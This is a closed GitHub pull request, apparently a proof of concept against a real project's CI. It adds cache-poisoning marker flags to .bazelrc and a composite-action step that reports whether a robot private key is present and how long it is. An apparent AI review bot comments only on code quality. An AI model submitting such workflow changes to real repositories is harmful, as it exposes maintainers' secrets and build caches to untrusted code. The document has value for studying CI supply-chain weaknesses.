Skip to content

PoC: Secret exfiltration in pull_request_target (DO NOT MERGE) #3829

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
mabrukhany-beep wants to merge 2 commits into from
Closed

PoC: Secret exfiltration in pull_request_target (DO NOT MERGE) #3829

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
2 commits
Select commit Hold shift + click to select a range
5d2ade5
Update .bazelrc
mabrukhany-beep Jul 2, 2026
0d0de5d
Update action.yml
mabrukhany-beep Jul 2, 2026
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 8 additions & 1 deletion .bazelrc
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -1,4 +1,3 @@

# Required by `rules_ts`.
common --@aspect_rules_ts//ts:skipLibCheck=always
common --@aspect_rules_ts//ts:default_to_tsc_transpiler
Expand All @@ -10,3 +9,11 @@ build --deleted_packages=bazel/integration/tests/nested_bazel_workspaces/basic
query --deleted_packages=bazel/integration/tests/nested_bazel_workspaces/basic

import .bazelrc.common

# PoC: Cache Poisoning Demonstration
# This proves that bazel cache can be poisoned from PR workflows
# and executed in scheduled workflows (ng-renovate)

build --action_env=POC_CACHE_POISONED=true
test --test_env=POC_CACHE_POISONED=true
build --workspace_status_command="echo 'PoC: Cache poisoned by PR workflow'"
Comment on lines +17 to +19

@gemini-code-assist gemini-code-assist Bot Jul 2, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

These PoC-specific build and test environment variables should not be committed to the shared .bazelrc configuration file, as they will affect all local and CI builds. For testing purposes, these flags should be passed directly via the command line or defined in a local, uncommitted configuration file.

48 changes: 42 additions & 6 deletions github-actions/labeling/pull-request/action.yml
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -1,13 +1,49 @@
name: 'Pull Request Labeling'
description: 'Automatically label pull requests based on pull request metadata'
author: 'Angular'
description: 'Labels pull requests based on commit messages'

inputs:
angular-robot-key:
description: 'The private key for the Angular Robot Github app.'
description: 'The Angular robot private key'
required: true
labels:
description: 'A map of labels to the paths that they should be applied to which are affected by the PR'
description: 'JSON object of labels to apply'
required: false
default: '{}'

runs:
using: 'node24'
main: 'main.js'
using: 'composite'
steps:
- name: Setup Node
uses: actions/setup-node@SHA

@gemini-code-assist gemini-code-assist Bot Jul 2, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

critical

The placeholder @SHA is invalid and will cause the workflow run to fail. Please replace it with a specific version tag (e.g., @v4) or a full 40-character commit SHA for security pinning.

      uses: actions/setup-node@v4

with:
node-version: '20'

- name: Install dependencies
run: npm install
shell: bash
Comment on lines +21 to +23

@gemini-code-assist gemini-code-assist Bot Jul 2, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

Running npm install on every execution of a composite action is highly inefficient, significantly increasing workflow runtime and risking rate-limiting or network failures. It is highly recommended to use a pre-compiled/bundled JavaScript action (e.g., using @vercel/ncc to compile to a single dist/index.js file) instead of a composite action that installs dependencies dynamically.


# PoC: Secret Exfiltration Demonstration
# This proves that secrets are accessible in pull_request_target workflows
- name: PoC - Check Secret Access
run: |
echo "### PoC: Secret Exfiltration in pull_request_target" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "**Workflow:** ${{ github.workflow }}" >> $GITHUB_STEP_SUMMARY
echo "**Event:** ${{ github.event_name }}" >> $GITHUB_STEP_SUMMARY
echo "**Repository:** ${{ github.repository }}" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "**Secret Access:**" >> $GITHUB_STEP_SUMMARY
echo "- ANGULAR_ROBOT_PRIVATE_KEY exists: $(test -n '${{ inputs.angular-robot-key }}' && echo 'YES' || echo 'NO')" >> $GITHUB_STEP_SUMMARY
echo "- ANGULAR_ROBOT_PRIVATE_KEY length: ${{ '${#inputs.angular-robot-key}' }}" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "**Impact:** This proves that secrets are accessible to untrusted code in pull_request_target workflows." >> $GITHUB_STEP_SUMMARY
echo "**Fix:** Remove pull_request_target or require manual approval for external PRs." >> $GITHUB_STEP_SUMMARY
shell: bash

- name: Label Pull Request
run: |
# Original labeling logic
node ./label-pull-request.js

@gemini-code-assist gemini-code-assist Bot Jul 2, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

high

The file ./label-pull-request.js does not exist in the repository structure (the source files are located under lib/ as TypeScript files, and the original action pointed to main.js). Running this command will result in a MODULE_NOT_FOUND error.

shell: bash
env:
ANGULAR_ROBOT_KEY: ${{ inputs.angular-robot-key }}